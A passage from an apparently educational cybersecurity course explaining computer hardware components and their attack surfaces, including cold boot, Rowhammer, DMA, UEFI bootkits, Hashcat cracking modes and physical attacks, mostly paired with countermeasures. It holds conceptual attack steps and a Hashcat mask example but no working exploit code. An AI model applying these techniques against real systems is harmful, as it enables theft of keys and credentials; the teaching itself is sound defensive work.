Disclosed in January 2018, these vulnerabilities affected virtually every modern CPU (Intel, AMD, ARM). They demonstrated that performance optimizations in CPU hardware design could create fundamental security vulnerabilities. The patches required changes to operating system kernels, hypervisors, and web browsers — and caused measurable performance degradation (5–30% in some workloads). This moment changed how the security community thinks about hardware trust. Previously, software ran on hardware assumed to be a "trusted foundation." Spectre/Meltdown proved that assumption was wrong.

1.5 CPU Security Features to Know

Hardware-enforced security mechanisms built into modern CPUs:

Feature	What It Does	Security Benefit
NX/XD Bit (No-Execute / Execute Disable)	Marks memory pages as non-executable	Prevents shellcode injection in data segments
SMEP (Supervisor Mode Execution Prevention)	Prevents kernel from executing user-space pages	Blocks kernel exploits that point execution to user memory
SMAP (Supervisor Mode Access Prevention)	Prevents kernel from accessing user-space data	Forces explicit kernel-user data transfer
CET (Control-flow Enforcement Technology)	Shadow stack + indirect branch tracking	Defeats ROP/JOP attacks
Intel TXT / AMD SVM	Trusted execution environments	Measured boot, isolated execution
SGX (Software Guard Extensions)	Encrypted memory enclaves	Protects sensitive code even from privileged attackers

Attacker's Perspective: When you read about exploit mitigations being bypassed, you are reading about attackers finding clever ways around these hardware features. SMEP bypass, for example, requires either finding a way to execute code in kernel memory directly (not user memory), or manipulating CPU control registers (CR4) to temporarily disable SMEP. This is why privilege escalation exploits in 2024 are far more complex than in 2005.

2. RAM

2.1 What Is RAM?

Random Access Memory (RAM) is volatile, high-speed storage that holds the currently running operating system, applications, and their data. "Volatile" means all data is lost when power is removed. A 16GB RAM module stores 16 billion bytes of information that completely disappears the moment the computer shuts down.

For a security professional, RAM is arguably the most important forensic artifact in incident response. Malware increasingly lives entirely in memory — never touching the disk — precisely because it knows that most security tools focus on files.

2.2 How RAM Works

RAM is composed of billions of capacitors and transistors. Each capacitor represents one bit — charged represents 1, uncharged represents 0. Because capacitors drain over time, DRAM (Dynamic RAM) must be refreshed thousands of times per second, which is why it requires continuous power.

Memory Addressing:

Every byte in RAM has a unique address. Modern 64-bit systems use a virtual address space — each process believes it has access to the entire 64-bit address space (theoretically 16 exabytes, though current implementations use 48-bit addressing = 256 TB). The CPU's MMU (Memory Management Unit) translates virtual addresses to physical addresses using page tables.

Process Virtual Address Space (simplified):
┌──────────────────────┐  High Address (0xFFFFFFFFFFFFFFFF)
│    Kernel Space      │  ← Only accessible in Ring 0
├──────────────────────┤  
│       Stack          │  ← Grows downward; local variables, return addresses
│          ↓           │
│    (free space)      │
│          ↑           │
│        Heap          │  ← Grows upward; dynamically allocated memory (malloc)
├──────────────────────┤
│    BSS Segment       │  ← Uninitialized global/static variables
├──────────────────────┤
│    Data Segment      │  ← Initialized global/static variables
├──────────────────────┤
│    Text Segment      │  ← Executable code (marked NX/non-writable ideally)
└──────────────────────┘  Low Address (0x0000000000000000)

Security Critical: This memory layout is the foundation of nearly every exploit class. Buffer overflows target the stack, heap exploits target the heap, and format string vulnerabilities can read/write anywhere. You will spend hundreds of hours working with this layout in later stages. Understand it now.

2.3 RAM Types and Specifications

Type	Full Name	Characteristics
DDR4	Double Data Rate 4	Most common today; 2133–3600 MHz
DDR5	Double Data Rate 5	Latest gen; 4800–8000+ MHz; improved security features
ECC RAM	Error-Correcting Code	Detects and corrects single-bit errors; used in servers
LPDDR	Low Power DDR	Mobile devices; lower voltage, higher efficiency

ECC RAM and Security: Single-bit errors in RAM occur naturally due to cosmic ray bombardment (seriously — this is real). In regular RAM, these errors can cause system crashes or data corruption. In a server handling financial transactions or cryptographic operations, a single flipped bit could be catastrophic. ECC RAM detects and corrects these errors automatically. For security-critical server infrastructure, ECC RAM is not optional — it is a fundamental reliability requirement.

2.4 RAM as a Security Battlefield

2.4.1 Memory Forensics

When a system is compromised, the attacker's malware lives in RAM. The malware processes, network connections, decrypted strings, encryption keys, and even passwords can all be found in a memory dump. This is why live forensics (capturing RAM from a running system before shutdown) is a critical incident response skill.

Key tools: Volatility 3, Rekall (deprecated but historically important), WinPmem (for Windows RAM acquisition), LiME (Linux Memory Extractor).

What you can find in a RAM dump:

Running processes (including hidden/injected ones)
Network connections and their state
Registry hives loaded in memory
Decrypted versions of encrypted files (ransomware may leave keys briefly)
Browser history, passwords in memory
Malware code that never touched disk (fileless malware)
Cryptographic keys in use

2.4.2 RAM-Based Attack Techniques

Fileless Malware: Malware that executes entirely in RAM, never writing to disk. It typically hijacks a legitimate process (e.g., PowerShell) and injects malicious code into its memory space. Traditional antivirus (which scans files on disk) is largely blind to it.

Process Injection Techniques:

DLL Injection: Forces a target process to load a malicious DLL into its address space
Process Hollowing: Creates a legitimate process in suspended state, empties its memory, replaces it with malicious code, resumes execution
Reflective DLL Injection: DLL loads itself directly from memory without touching the filesystem
Thread Execution Hijacking: Suspends a thread, modifies its context to point to shellcode, resumes it

Heap Spraying: An attacker fills the heap with copies of shellcode (often preceded by a long NOP sled) to increase the probability that a controlled jump will land in executable shellcode. Classic technique used in browser exploitation.

2.4.3 Cold Boot Attack — When "Volatile" Is Not Fast Enough

This is one of the most fascinating hardware attacks in existence.

RAM retains data for seconds to minutes after power is removed, especially when cooled. The data fades exponentially with time and temperature. By spraying RAM modules with compressed air (or liquid nitrogen), an attacker can slow the data decay dramatically — sometimes preserving data for hours.

The attack:

Gain brief physical access to a running (or recently powered off) computer
Optionally, cool the RAM modules with compressed air spray (inverted can)
Remove the RAM sticks (modern DDR can sometimes be hot-swapped)
Boot from a USB drive designed to dump RAM contents
Recover the data — including disk encryption keys (e.g., BitLocker, FileVault, LUKS)

Real-world significance: This attack, demonstrated by researchers at Princeton University in 2008, showed that full-disk encryption does not protect against a physically present attacker if the system is running or recently suspended. The encryption key is in RAM. This fundamentally changed how we think about encryption vs. physical access.

Countermeasures: Enable BitLocker's pre-boot PIN, disable Sleep mode (use Hibernate instead, which flushes RAM to disk and powers off), configure firmware to prevent boot from external media, enable Intel TXT/AMD SEV for encrypted memory.

2.4.4 Rowhammer Attack — Flipping Bits Without Physical Access

Rowhammer (discovered 2014) is a hardware vulnerability in DRAM. By repeatedly accessing (hammering) rows of memory, an attacker can cause bit flips in adjacent rows — changing memory values without ever having write permission to those memory locations.

This has been used to:

Escalate privileges (flip a bit in a page table to gain write access to privileged memory)
Break out of virtual machines
Attack JavaScript engines to gain code execution in browsers
Attack Android phones remotely via JavaScript

The implication is profound: even if software is perfectly written with no bugs, hardware-level vulnerabilities can still create exploitable conditions. This is why hardware security research is increasingly important.

3. ROM

3.1 What Is ROM?

Read-Only Memory (ROM) is non-volatile memory that retains its contents without power. In classical computing, "read-only" meant the data was permanently fixed at manufacturing. In modern systems, the term has evolved to encompass various types of persistent, low-level storage that is not directly user-accessible during normal operation.

Types of ROM in the modern context:

Type	Full Name	Characteristics
Mask ROM	Factory-programmed ROM	Truly read-only; written at semiconductor fab; used in microcontrollers, game cartridges
PROM	Programmable ROM	Written once by the user with a PROM burner
EPROM	Erasable PROM	Erased by UV light exposure through a quartz window; reprogrammable
EEPROM	Electrically Erasable PROM	Can be erased/written electrically, byte by byte; used for BIOS/UEFI storage
Flash Memory	Flash EEPROM	Block-erased EEPROM; used in SSDs, USB drives, firmware chips; fast and dense
eFuse	Electronic Fuse	One-time programmable bits in a CPU; used for device configuration, secure boot keys

3.2 ROM in the Security Context

Firmware Storage: The BIOS/UEFI firmware (covered in section 7) is stored in a flash chip on the motherboard — this is a form of ROM. The firmware initializes all hardware before the operating system loads. If this chip is compromised, an attacker has persistence that survives OS reinstallation, and even hard drive replacement.

Microcontroller ROM: In OT/ICS environments, PLCs (Programmable Logic Controllers) contain ROM that stores the device's operating firmware. Attacks on this firmware — like Stuxnet's modification of Siemens PLC code — represent some of the most sophisticated attacks ever documented. Understanding ROM in embedded systems is critical for ICS security.

Secure Boot and ROM-stored Keys: Modern systems use hardware security chips (TPM, Secure Enclave) that contain root-of-trust keys in write-protected ROM. These keys are used to verify that the boot chain has not been tampered with. If the ROM itself is compromised, the entire root of trust collapses.

Hardware Security Module (HSM) ROM: HSMs store cryptographic keys in tamper-evident hardware. Attempts to read the ROM physically trigger key erasure. Understanding ROM in HSMs is critical for cryptographic infrastructure security.

4. GPU

4.1 What Is a GPU?

The Graphics Processing Unit (GPU) was originally designed to accelerate rendering of 3D graphics. Where a CPU has 8–64 powerful general-purpose cores, a GPU has thousands of smaller, simpler cores optimized for parallel computation. A modern NVIDIA RTX 4090 contains 16,384 CUDA cores.

This massive parallelism makes GPUs extraordinarily powerful for any computation that can be broken into independent parallel tasks.

4.2 GPU Architecture: Why Parallelism Matters

CPU Architecture:              GPU Architecture:
┌──────────────────┐          ┌──────────────────────────────────────┐
│  Core 1 (big)    │          │  SM1  SM2  SM3  SM4  SM5  SM6  ...  │
│  Core 2 (big)    │          │  [128 tiny cores per SM × 128 SMs]  │
│  Core 3 (big)    │          │  = 16,384 total CUDA cores           │
│  Core 4 (big)    │          │                                      │
│  (optimized for  │          │  (optimized for thousands of         │
│   sequential     │          │   parallel simple computations)      │
│   complex tasks) │          │                                      │
└──────────────────┘          └──────────────────────────────────────┘

For cybersecurity, GPU parallelism directly translates to password cracking speed. Consider the task of trying all possible 8-character passwords with lowercase letters (26^8 = ~208 billion combinations). A CPU might try 1–10 million hashes per second. A GPU might try 10–100 billion hashes per second — a difference of four to five orders of magnitude.

4.3 GPU in Offensive Security — Password Cracking

Hashcat is the de-facto GPU-accelerated password cracking tool. It supports hundreds of hash types and uses the GPU to perform massively parallel hash computation.

Benchmark comparison (MD5, rough estimates):

Hardware	MD5 Speed
CPU (single-thread)	~50 MH/s
CPU (8 cores)	~400 MH/s
RTX 3090	~68,000 MH/s (68 GH/s)
8× RTX 3090 rig	~544,000 MH/s

Attack modes in Hashcat:

Brute-force (Mask Attack): Try all combinations in a defined character set and length. ?l?l?l?l?l?l?l?l = all 8-char lowercase. Infeasible for long complex passwords; devastating for short ones.
Dictionary Attack: Try all words in a wordlist (e.g., RockYou.txt with 14 million real passwords).
Rule-based Attack: Apply mutation rules to dictionary words (password → P@$$w0rd, passw0rd!, etc.). This is where cracking becomes an art form.
Combinator Attack: Combine two wordlists (john + 2023 = john2023).
PRINCE Attack: Probabilistic ordering of elements based on Markov chains of real password patterns.

Mindset Shift: Many people think that hashing passwords makes them "safe." Hashing prevents the storage of plaintext, but it does not prevent offline cracking if the hash is leaked. When a database is breached and password hashes are stolen, an attacker takes the hash file home and runs Hashcat for days or weeks. If the passwords were weak (under 10 characters, common words, predictable patterns), they will be cracked. This is why password hashing algorithms matter: bcrypt, scrypt, Argon2 are designed to be slow and memory-intensive, making GPU cracking far less effective. MD5 and SHA-1 for password storage are unacceptable by any modern standard.

4.4 GPU in Defensive Security — AI/ML

GPUs power machine learning, and ML is increasingly used in:

Behavioral anomaly detection in SIEM systems
Network traffic classification
Malware classification via neural networks
Natural language processing for phishing detection
Large language model-based security assistants

4.5 GPU Attack Surface

GPU-Based Malware: Mining malware (cryptojackers) hijacks GPU resources to mine cryptocurrency, often undetected because security tools focus on CPU usage.

GPU Memory Attacks: Research has demonstrated that GPU memory is not cleared between processes, potentially allowing one process to read residual data left by another. Unlike CPU memory with sophisticated isolation, GPU memory isolation is historically weaker.

VRAM Scraping: Since GPUs process rendered frames that may contain sensitive information (passwords typed in browser, document contents), VRAM has been a target for data exfiltration research.

5. The Motherboard

5.1 What Is the Motherboard?

The motherboard (mainboard) is the primary printed circuit board (PCB) that interconnects all components of the computer. It is the physical and electrical backbone of the system.

5.2 Critical Motherboard Components

┌─────────────────────────────────────────────────────────────────┐
│                         MOTHERBOARD                             │
│                                                                 │
│  ┌──────┐  ┌──────┐  ┌──────┐  ┌──────┐                       │
│  │ RAM  │  │ RAM  │  │ RAM  │  │ RAM  │  ← DIMM Slots          │
│  └──────┘  └──────┘  └──────┘  └──────┘                       │
│                                                                 │
│  ┌──────────────┐     ┌─────────────────────────┐             │
│  │     CPU      │─────│       PCH/Chipset        │             │
│  │   + Socket   │     │   (Platform Controller   │             │
│  └──────────────┘     │         Hub)             │             │
│                       └─────────────────────────┘             │
│                                    │                            │
│  ┌─────────┐  ┌─────────┐  ┌──────────┐  ┌───────────┐       │
│  │ PCIe x16│  │ PCIe x4 │  │  M.2     │  │  SATA     │       │
│  │  (GPU)  │  │ (NVMe)  │  │  Slot    │  │  Ports    │       │
│  └─────────┘  └─────────┘  └──────────┘  └───────────┘       │
│                                                                 │
│  ┌──────────┐  ┌────────┐  ┌──────────┐  ┌──────────────┐    │
│  │  BIOS/   │  │  TPM   │  │  Power   │  │   I/O Panel  │    │
│  │  UEFI    │  │  Chip  │  │ Connectors│  │ (USB, LAN,   │    │
│  │  Chip    │  │        │  │          │  │  Audio, etc) │    │
│  └──────────┘  └────────┘  └──────────┘  └──────────────┘    │
└─────────────────────────────────────────────────────────────────┘

5.3 The Chipset (PCH — Platform Controller Hub)

The chipset manages communication between the CPU and all other components. It handles I/O operations: USB controllers, SATA controllers, PCIe lanes for non-GPU devices, audio, and network interfaces.

Security Relevance: The chipset runs its own firmware. Intel's Management Engine (ME) and AMD's Platform Security Processor (PSP) are embedded subsystems within the chipset that operate independently of the main CPU, at a privilege level below the operating system — sometimes called Ring -2 or Ring -3.

Intel Management Engine — A Controversial Security Topic:

The Intel ME is a separate processor embedded in the PCH that runs its own operating system (MINIX 3) and has:

Access to system memory, bypassing the CPU
Access to the network interface, independent of the main OS
The ability to remotely control the system (Intel AMT — Active Management Technology)
Persistent operation even when the main system is powered off (as long as PSU is connected)

Vulnerabilities: CVE-2017-5689 (Intel AMT critical auth bypass) allowed unauthenticated remote access to systems with Intel AMT enabled. An attacker on the same network could take complete control of the machine regardless of the operating system state. This vulnerability affected millions of business laptops and desktops.

The ME cannot be fully disabled through normal means, which has led to significant controversy in the security community about whether it represents an intentional backdoor. Some security-focused distributions attempt to neutralize it through projects like me_cleaner.

5.4 TPM — Trusted Platform Module

The TPM is a dedicated security chip on the motherboard (or increasingly integrated into the CPU) that performs cryptographic operations in hardware.

TPM capabilities:

Secure key storage: Keys generated inside the TPM never leave the chip in unencrypted form
Measured Boot: The TPM records cryptographic measurements of each boot component (firmware → bootloader → kernel), creating a tamper-evident chain
Remote Attestation: A remote server can verify that your system has not been tampered with by requesting a signed report of boot measurements from the TPM
Platform Binding: Keys and secrets can be "sealed" to a specific system state — they can only be decrypted if the system boots in exactly the measured configuration

BitLocker and TPM: Windows BitLocker uses the TPM to store the Volume Master Key. The TPM will only release the key if the boot measurements match what was recorded when BitLocker was configured. If the bootloader is modified (e.g., by a bootkit), the measurements change, and the TPM refuses to release the key — the disk remains encrypted and inaccessible.

Attack: TPM 2.0 was found vulnerable to a bus-sniffing attack (2023). On systems where the TPM is a discrete chip communicating with the CPU over an LPC or SPI bus, the key transfer between TPM and CPU can be captured with a logic analyzer. This is precisely the kind of hardware-level attack that requires physical access and specialized equipment — but it has been demonstrated successfully against Microsoft Surface Pro devices. The solution is to use a TPM BitLocker configuration with a pre-boot PIN, so the raw key transmission is not sufficient without the PIN.

5.5 PCIe — The High-Speed Interconnect and DMA Attack Surface

PCIe (Peripheral Component Interconnect Express) is the primary high-speed interface connecting GPUs, NVMe SSDs, and other expansion cards to the motherboard.

PCIe DMA (Direct Memory Access): PCIe devices can read and write system RAM directly, without going through the CPU. This is how GPUs load textures, how network cards receive packets, and how NVMe SSDs transfer data — all faster than if every operation had to go through the CPU.

The Security Implication — DMA Attacks:

Any PCIe device has the potential to read and write arbitrary system memory. This means:

A malicious GPU or network card could read passwords from memory
A malicious Thunderbolt/USB4 device (which exposes PCIe) could take complete control of a system

Real-world attack: The PCILeech tool uses a $200 FPGA connected via PCIe/M.2 to read physical memory of a running system. It can extract BitLocker keys, inject code into the kernel, and maintain persistence — all while the operating system is completely unaware, because the OS is not consulted for DMA operations.

IOMMU — The Defense: An IOMMU (Input-Output Memory Management Unit) (Intel VT-d, AMD-Vi) provides the same protection for DMA that the MMU provides for CPU memory access — it restricts which memory regions each device can access. When properly configured, even a malicious PCIe device cannot read arbitrary memory. However, IOMMU must be enabled in UEFI, properly configured by the OS, and not disabled by device drivers.

6. Storage: HDD, SSD, NVMe

6.1 Hard Disk Drive (HDD)

A Hard Disk Drive stores data on magnetic platters that spin at 5,400–15,000 RPM. A read/write head moves across the platter surface to access data. This mechanical nature creates:

Advantages: High capacity at low cost, data recoverable even after deletion (forensics), no write wear issues.

Disadvantages: Slow (mechanical seek time of 5–15ms vs. microseconds for SSD), failure-prone (moving parts), audible operation, vulnerable to physical shock.

HDD Forensics — Why Deleted Data Is Not Gone:

When a file is "deleted" on a traditional filesystem, the operating system simply marks the space as available. The actual magnetic patterns on the disk remain until overwritten by new data. This is the foundation of file carving — recovering files by their structure (magic bytes, headers, footers) from disk images, regardless of filesystem metadata.

Slack Space: Even when a file occupies a disk cluster, it may not use the entire cluster. The remaining space (slack space) may contain remnants of previously stored data. Forensic tools extract slack space artifacts that can reveal previously stored file fragments.

HDD Firmware Attacks: The Equation Group (believed to be NSA-linked) was discovered in 2015 to have malware capable of reprogramming HDD firmware — the embedded software running on the drive's controller board. This malware survived complete OS reinstallation, drive formatting, and even low-level wipes. The infected firmware could create a hidden partition outside the normal disk geometry, invisible to the OS. This represents perhaps the most sophisticated persistence mechanism ever documented. Affected firmware included drives from every major manufacturer.

6.2 Solid State Drive (SSD)

SSDs use NAND flash memory — the same technology as USB drives, but faster and higher capacity. There are no moving parts; data is stored as electrical charges in floating-gate transistors.

SSD Forensics — The Complications:

TRIM: When the OS deletes a file on an SSD, it sends a TRIM command to the SSD controller. The controller marks those flash cells for erasure and may erase them during idle time. This makes file recovery from SSDs much harder than from HDDs — deleted data may be permanently gone within minutes to hours.

Wear Leveling: SSD controllers continuously move data around the flash cells to distribute wear evenly (flash cells have a limited write endurance of ~1,000–100,000 program/erase cycles). This means the logical address of data (what the OS sees) is completely different from its physical location on the NAND chips. This complicates forensic analysis enormously — the SSD controller is continuously managing a translation layer (FTL — Flash Translation Layer) that maps logical addresses to physical cells.

Over-provisioning: SSDs maintain a pool of spare cells (typically 7–28%) that are hidden from the OS. These cells are used during wear leveling and garbage collection and are not accessible through normal read commands — they exist in the SSD controller's private space. Forensic tools that connect directly to the NAND chips (bypassing the controller) can access this over-provisioned area and may recover data that was thought to be erased.

SSD Encryption: Many SSDs advertise hardware-based encryption (Self-Encrypting Drives / SED). Research has revealed that many of these implementations are critically flawed — the encryption key is often derived trivially from the password, the key is not protected at rest, or the encryption is bypassed entirely. A 2018 study found that a significant fraction of popular SSDs claiming encryption were trivially bypassable. Do not rely on SED encryption alone. Use software-layer encryption (BitLocker, LUKS) on top.

6.3 NVMe (Non-Volatile Memory Express)

NVMe is a communication protocol designed specifically for flash storage, using PCIe lanes directly. NVMe SSDs connect to the motherboard via M.2 slots or PCIe slots, bypassing the SATA controller entirely.

Performance comparison:

Storage Type	Interface	Sequential Read	Latency
HDD	SATA	~150 MB/s	5–15ms
SATA SSD	SATA	~550 MB/s	~0.05ms
NVMe SSD (Gen 3)	PCIe 3.0	~3,500 MB/s	~0.02ms
NVMe SSD (Gen 5)	PCIe 5.0	~14,000 MB/s	~0.01ms

Security Relevance of NVMe: Because NVMe drives use PCIe and DMA, all the DMA attack considerations from section 5.5 apply. Additionally, NVMe supports a Sanitize command that securely erases the entire drive — far more reliable than software-level secure erase for HDDs. When decommissioning equipment, the NVMe Sanitize command (via nvme CLI tools) should be used rather than repeated overwrites (which SSDs may not execute as expected due to wear leveling).

6.4 Secure Data Destruction — The Full Picture

When disposing of storage media in a security context:

For HDDs:

Software overwrite with DoD 5220.22-M standard (7 passes) or Gutmann method (35 passes) — effective for magnetic media
Physical destruction: degaussing (strong magnetic field) followed by shredding
For classified material: NSA-certified shredders producing small particle sizes

For SSDs/NVMe:

ATA Secure Erase or NVMe Sanitize commands — the controller erases all NAND cells including over-provisioned space
Overwrite tools designed for HDDs do NOT work reliably on SSDs due to wear leveling
Physical destruction is the only guaranteed method for highly sensitive data
For drives with hardware encryption (if trustworthy), simply destroying the key renders data irrecoverable

7. BIOS / UEFI

7.1 What Is BIOS?

BIOS (Basic Input/Output System) is the original pre-OS firmware that initializes hardware and launches the operating system. Stored in a flash chip on the motherboard, BIOS runs the first microseconds after power is applied — before the CPU even knows what operating system it will run.

BIOS Sequence:

CPU starts at a fixed memory address (typically 0xFFFFFFF0 — 16 bytes from top of 32-bit address space)
BIOS code is memory-mapped to this address from the flash chip
BIOS performs POST (Power-On Self Test): tests and initializes CPU, RAM, keyboard, storage
BIOS reads the MBR (Master Boot Record) from the first sector of the boot drive
MBR loads the bootloader, which loads the operating system

Legacy BIOS Limitations:

16-bit real mode operation (designed for Intel 8086 processors, 1981)
Maximum boot disk size: 2.2TB (MBR partition table limitation)
No support for Secure Boot
No driver model — hardware must be manually initialized
No GUI interface (text only)

7.2 UEFI — The Modern Replacement

UEFI (Unified Extensible Firmware Interface) replaces the legacy BIOS with a far more sophisticated pre-boot environment. UEFI is essentially a miniature operating system that runs before your main OS.

UEFI Architecture:

┌──────────────────────────────────────────────────────────────┐
│                      UEFI FIRMWARE                           │
│                                                              │
│  ┌──────────────┐  ┌──────────────┐  ┌───────────────────┐ │
│  │  SEC Phase   │  │   PEI Phase  │  │    DXE Phase      │ │
│  │  (Security)  │  │  (Pre-EFI    │  │  (Driver          │ │
│  │              │  │   Init)      │  │   Execution Env)  │ │
│  └──────────────┘  └──────────────┘  └───────────────────┘ │
│                                                              │
│  ┌──────────────────────────────────────────────────────┐   │
│  │              BDS Phase (Boot Device Selection)        │   │
│  │    → Secure Boot verification                        │   │
│  │    → Boot manager                                    │   │
│  │    → Shell access                                    │   │
│  └──────────────────────────────────────────────────────┘   │
│                                                              │
│  ┌─────────────────────────┐  ┌────────────────────────┐   │
│  │   NVRAM (EFI Variables) │  │    EFI System Partition │   │
│  │   Stored on flash chip  │  │    (ESP) on disk        │   │
│  │   Secure Boot keys etc. │  │    Bootloaders here     │   │
│  └─────────────────────────┘  └────────────────────────┘   │
└──────────────────────────────────────────────────────────────┘

UEFI Advantages Over Legacy BIOS:

32-bit and 64-bit operation
Support for disks larger than 2.2TB (GPT partition table — supports up to 9.4 ZB theoretically)
Secure Boot support
Network boot capabilities
GUI interface possible
Module-based driver architecture
EFI Shell: a command-line environment with scripting capability

7.3 Secure Boot — How It Works

Secure Boot is a UEFI feature that ensures only digitally signed, trusted software can execute during the boot process.

The trust chain:

UEFI Firmware
    │
    ├── Reads Platform Key (PK) from UEFI NVRAM
    │   (Root of trust — owned by motherboard manufacturer)
    │
    ├── Verifies Key Enrollment Key (KEK)
    │   (Trusted parties who can update Secure Boot databases)
    │
    ├── Checks Signature Database (db)
    │   (Whitelist of trusted bootloader signatures — e.g., Microsoft's certificate)
    │
    ├── Checks Forbidden Signature Database (dbx)
    │   (Blacklist of revoked signatures — known-bad bootloaders)
    │
    └── Verifies bootloader signature against db
            │
            ├── PASS → Bootloader executes → loads kernel → loads drivers
            └── FAIL → Boot halted, error displayed

What Secure Boot Protects Against:

Bootkits: Malware that infects the bootloader to load before the OS and its security tools
Boot-level rootkits: Malicious code that controls the boot process to hide its presence
Unauthorized OS installation: Without your signing key, unsigned boot media won't run

What Secure Boot Does NOT Protect Against:

Malware that runs after the OS loads (everything in the Windows attack surface)
An attacker who can enroll their own keys (physical access to UEFI setup)
Vulnerabilities in signed bootloaders (e.g., BootHole/GRUB2 vulnerability CVE-2020-10713 — a buffer overflow in GRUB2 that allowed bypass of Secure Boot on millions of signed systems)

The BootHole Incident (2020): A buffer overflow in GRUB2's configuration file parsing allowed an attacker to execute arbitrary code during boot, even with Secure Boot enabled. GRUB2's bootloader was legitimately signed by Microsoft. The fix required updating the UEFI dbx (forbidden signatures database) to blacklist all affected GRUB2 versions — a massive coordinated update affecting virtually every Linux system using Secure Boot. This demonstrates that a signed binary can still contain exploitable vulnerabilities.

7.4 UEFI Firmware Security — The Pre-OS Attack Surface

UEFI is one of the most persistent and dangerous attack surfaces in existence. Malware in UEFI:

Loads before the operating system
Is invisible to OS-level security tools (antivirus, EDR)
Survives OS reinstallation
Survives hard drive replacement
In many cases, survives firmware update (if not re-flashed completely)
Only removable by reflashing the BIOS chip or replacing the motherboard

Notable UEFI Malware:

Malware	Year	Attacker	Notes
LoJax	2018	APT28 (Fancy Bear / Russia)	First UEFI rootkit used in a real attack campaign
MosaicRegressor	2020	Chinese APT	UEFI implant found on NGO systems
ESPecter	2021	Unknown	Persisted in EFI System Partition's Windows Boot Manager
CosmicStrand	2022	Chinese APT	UEFI rootkit targeting specific motherboard models
BlackLotus	2023	Unknown	First in-the-wild UEFI bootkit to bypass Secure Boot on Windows 11

BlackLotus deserves special attention. In 2023, ESET researchers discovered BlackLotus — a UEFI bootkit that:

Bypassed Secure Boot on fully patched Windows 11 systems
Exploited CVE-2022-21894 (Baton Drop) — a flaw in the Windows Boot Manager that had been patched but not added to the Secure Boot revocation list
Deployed a kernel driver and a user-mode component
Disabled Defender, HVCI, and BitLocker
Was commercially available on underground forums for ~$5,000

This means sophisticated UEFI attacks are not exclusively nation-state tools — they are increasingly accessible to cybercriminal groups.

UEFI Security Recommendations:

Enable Secure Boot (do not disable it)
Set a UEFI administrator password
Disable boot from USB/external media in UEFI (prevent cold boot attacks and unauthorized boot)
Keep UEFI firmware updated (manufacturers release security patches)
Enable Intel Boot Guard or AMD Platform Secure Boot (hardware verification of UEFI itself)
Monitor for UEFI threats with tools that include UEFI scanning (e.g., ESET, Kaspersky, certain EDR products)

8. Power Supply Unit

8.1 What Is a PSU?

The Power Supply Unit (PSU) converts AC mains power (120V/240V) to the DC voltages required by computer components:

+12V: Powers CPU (via voltage regulator), PCIe devices (GPU), and drives
+5V: USB ports, older SATA devices, logic circuits
+3.3V: RAM, modern logic circuits, storage
-12V: Certain legacy components, serial ports
+5VSB (Standby): Powers USB even when system is "off," powers Wake-on-LAN, powers the PCH for remote management

ATX Power Connector Standards:

The standardized ATX connector pinout means that any ATX PSU should work with any ATX motherboard. However, this standardization also has security implications.

8.2 Power Quality and Hardware Security

Power Glitching — A Hardware Attack Technique:

Power glitching introduces deliberate voltage spikes or drops to cause a processor to execute instructions incorrectly or skip instructions entirely. This technique has been used to:

Bypass secure boot verification on embedded devices
Bypass PIN verification on encrypted storage
Cause CPUs to skip authentication checks
Extract secrets from microcontrollers by causing a fault during secure operations

Power glitching is a hardware hacking technique used in embedded systems security research, smartcard attacks, and IoT device hacking. In OT security, PLC security assessments sometimes include power fault injection as an attack vector.

Voltage Regulator Modules (VRM) and CPU Stability:

The CPU requires an extremely stable and precise voltage. The VRM on the motherboard converts the +12V rail to the CPU's required core voltage (typically 1.0–1.4V for modern processors). If the VRM quality is poor or fails, the CPU may exhibit random computational errors — which could theoretically be exploited if an attacker can induce VRM instability.

Uninterruptible Power Supply (UPS) — Defense:

For servers and critical infrastructure (directly relevant to OT/SCADA):

UPS provides battery backup, preventing unclean shutdowns
Unclean shutdowns can corrupt filesystems, databases, and even RAID arrays
Power fluctuations can cause data integrity issues
For ICS environments, power quality is directly linked to operational safety

8.3 Power Side-Channel Attacks

Simple Power Analysis (SPA) and Differential Power Analysis (DPA):

When a device performs cryptographic operations, its power consumption varies depending on the data being processed and the operations being performed. By measuring power consumption with high-precision equipment, an attacker can:

Determine the secret key being used in AES encryption
Extract RSA private keys from smartcards
Recover PINs from secure hardware

This is why cryptographic implementations in hardware are required to be constant-time — the operations must take the same time and consume the same power regardless of key values, to prevent side-channel leakage.

Relevance to Electrical Engineers in Cybersecurity: This is precisely where your electrical engineering background gives you an advantage. Understanding current measurement, oscilloscope usage, signal processing, and circuit design are all prerequisites for power side-channel research — skills that most software-focused security professionals completely lack.

9. Physical Security

9.1 Why Physical Security Is the Foundation of All Security

There is a fundamental axiom in security: physical access equals game over.

If an attacker has unconstrained physical access to a device, virtually every software and cryptographic protection can eventually be defeated. This is not theoretical — it is the reason secure facilities exist, why data centers have biometric access, and why classified systems are stored in locked cages.

All the software security in the world is meaningless if an attacker can:

Walk up to an unlocked terminal
Remove a hard drive and read it in their own system
Install a hardware keylogger
Insert a malicious USB device
Take a photograph of your screen over your shoulder

9.2 Physical Attack Vectors

9.2.1 Shoulder Surfing

The simplest attack: visually observing what someone types or displays — passwords, PINs, sensitive data, network credentials.

Countermeasures: Privacy screens (polarized film that narrows the viewing angle), situational awareness in public spaces, position yourself with your back to walls, use virtual keyboards for PIN entry where possible.

9.2.2 Hardware Keyloggers

Physical keystroke logging devices that install between the keyboard and computer, or replace the keyboard cable entirely. They record every keystroke to internal storage, later retrieved physically or transmitted wirelessly.

Types:

PS/2/USB keylogger: Inline device, often indistinguishable from a USB extension adapter
Wireless keylogger: Transmits keystrokes via radio, can be read from a distance
Firmware keylogger: Implanted in keyboard firmware — impossible to detect without firmware analysis
BIOS keylogger: Rare but documented; records keystrokes at firmware level before OS loads

Detection: Physically inspect computers before use, especially in high-security environments. Run your fingers along all cable connections. Consider transparent keyboard enclosures in secure facilities. For high-value targets, use on-screen keyboards or hardware security tokens for authentication.

9.2.3 Evil Maid Attack

Named after the hotel cleaning staff who have access to a guest's room:

Attacker gains brief, unobserved access to the target's device
Boots from external media, modifies the bootloader (installs a bootkit)
Modified bootloader captures the disk encryption password when the owner enters it
Attacker returns later to retrieve the captured password and decrypt the drive

Countermeasures: UEFI password, Secure Boot, Measured Boot with TPM, Anti-Evil-Maid tools (which hash the boot environment and display a secret to the user before asking for credentials — if the secret doesn't appear, the boot environment has changed).

9.2.4 USB-Based Attacks

Rubber Ducky / Malicious USB HID:
A USB device that identifies itself as a keyboard to the OS, then executes a pre-programmed keystroke sequence — downloading and executing malware in seconds. The OS sees a trusted input device, so no suspicious file execution is triggered.

BadUSB:
